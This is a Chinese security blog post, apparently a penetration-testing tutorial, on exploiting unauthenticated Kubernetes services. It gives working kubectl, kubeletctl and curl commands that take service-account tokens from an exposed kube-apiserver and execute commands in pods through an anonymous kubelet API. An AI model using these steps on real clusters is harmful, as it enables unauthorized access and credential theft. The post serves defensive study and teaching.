【云原生渗透】- k8s的攻击利用面(一)

admin 2022年4月3日16:58:09评论6 views字数 2398阅读7分59秒阅读模式

除了容器逃逸问题,未授权问题是目前k8s存在最多的问题,以下是常见的k8s未授权:

kube-apiserver

6443,8080

未授权访问获取kube-system的token,通过kubectl使用kube-system的token获取pod列表。之后可进一步创建pod或控制已有pod进行命令执行等操作。

kubelet

10250,10255

kubeletctl批量获取pod等信息,尝试获取pod内/var/run/secrets/kubernetes.io/serviceaccoun/的token

etcd

2379

导出全量etcd配置,获取k8s认证证书等关键信息,进而通过kubectl创建恶意pod或控制已有pod,后续可尝试逃逸至宿主机

dashboard

30000以上

docker

2375

Docker daemon默认监听2375端口且未鉴权,我们可以利用API来完成Docker客户端能做的所有事情。

1. kube-apiserver 未授权访问

apiserver有两个端口,8080和6443。现在的云服务商提供的容器默认已不存在8080端口,主要问题还是在6443端口上。

正常访问6443端口,会出现以下情况,我们默认访问的角色就是系统给的anonymous。

【云原生渗透】- k8s的攻击利用面(一)

当把system:anonymous用户绑定到cluster-admin的集群角色时,再来访问。即可看到能访问的内容:

【云原生渗透】- k8s的攻击利用面(一)

访问https://192.168.41.22:6443/api/v1/namespaces/kube-system/secrets/ 获取kube-system命名空间的token信息:

【云原生渗透】- k8s的攻击利用面(一)

系统自带的服务账号没啥操作权限,需要寻找运维人员自建的。总之,有admin就找admin,没有的话找个非系统自带账号或者尝试default账号

【云原生渗透】- k8s的攻击利用面(一)

拿到了token后,可以在攻击机上安装kubectl工具,然后执行以下命令创建一个test_config,token处填入获取的 token:

touch test_config

kubectl --kubeconfig=./test_config config set-credentials hacker --token=TOKEN

kubectl --kubeconfig=./test_config config set-cluster hacked_cluster --server=https://192.168.41.22:6443/  --insecure-skip-tls-verify

kubectl --kubeconfig=./test_config config set-context test_context --cluster=hacked_cluster --user=hacker

kubectl --kubeconfig=./test_config config use-context test_context

生成的文件内容为:

apiVersion: v1
clusters:
- cluster:
  insecure-skip-tls-verify: true
  server: https://192.168.41.22:6443/
name: hacked_cluster
contexts:
- context:
  cluster: hacked_cluster
  user: hacker
name: test_context
current-context: test_context
kind: Config
preferences: {}
users:
- name: hacker
user:
  token: ZXlKaGJHY2lPaUpTVXpJMU5TOKEN

通过kubectl加载刚才的config文件执行pod里面的命令:

kubectl --kubeconfig=./test_config get nodes -A

【云原生渗透】- k8s的攻击利用面(一)

2. kubelet未授权访问

每一个Worker节点都有一个kubelet服务,kubelet监听了10250(kubelet API),1024810255(readonly API)等端口。

正常情况下访问是没有权限的:

https://192.168.41.23:10250/pods

【云原生渗透】- k8s的攻击利用面(一)

authentication.anonymous.enabled配置不当设置为 true 时,允许匿名访问 10250 端口:

【云原生渗透】- k8s的攻击利用面(一)

访问存在如下回显,就是存在未授权访问:

【云原生渗透】- k8s的攻击利用面(一)

利用

https://github.com/cyberark/kubeletctl/releases

下载kubeletctl工具,执行命令:

./kubeletctl pods -s 192.168.41.23 --port 10250

【云原生渗透】- k8s的攻击利用面(一)

可以看到pod,namespace,containers。

执行pod里容器的命令:

curl -k https://nodeip:10250/run/$namespace/$POD/$CONTAINERS -d "cmd=ls" --insecure

curl -k https://192.168.41.23:10250/run/default/nginx-f89759699-tct4p/nginx -d "cmd=ls" --insecure

【云原生渗透】- k8s的攻击利用面(一)

如果是10255端口的未授权而非10250,它是只读端口,无法直接利用在容器中执行命令,但是可以获取环境变量ENV、主进程CMDLINE等信息,里面可能包含密码和秘钥等敏感信息。

参考链接

https://mp.weixin.qq.com/s/T2QGLlKwjaUByDtGFL94PQ

https://blog.csdn.net/w1590191166/article/details/122028001?spm=1001.2014.3001.5501

原文始发于微信公众号(信安文摘):【云原生渗透】- k8s的攻击利用面(一)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月3日16:58:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【云原生渗透】- k8s的攻击利用面(一)http://cn-sec.com/archives/866815.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息